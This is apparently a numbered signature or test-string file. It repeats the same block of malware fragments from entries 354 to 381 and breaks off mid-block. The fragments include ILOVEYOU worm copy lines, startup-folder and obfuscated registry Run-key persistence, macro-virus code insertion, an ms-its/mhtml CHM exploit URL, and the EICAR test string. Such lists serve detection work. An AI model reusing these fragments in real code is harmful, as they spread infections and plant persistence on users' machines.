 kak.hta';ken=wd+'START
 End Sub

354

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

355

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

356

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

357

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

358

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

359

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

360

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

361

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

362

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

363

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

364

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

365

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

366

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

367

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

368

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

369

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

370

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

371

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

372

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

373

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

374

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

375

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

376

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

377

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

378

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

379

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

380

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

381

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
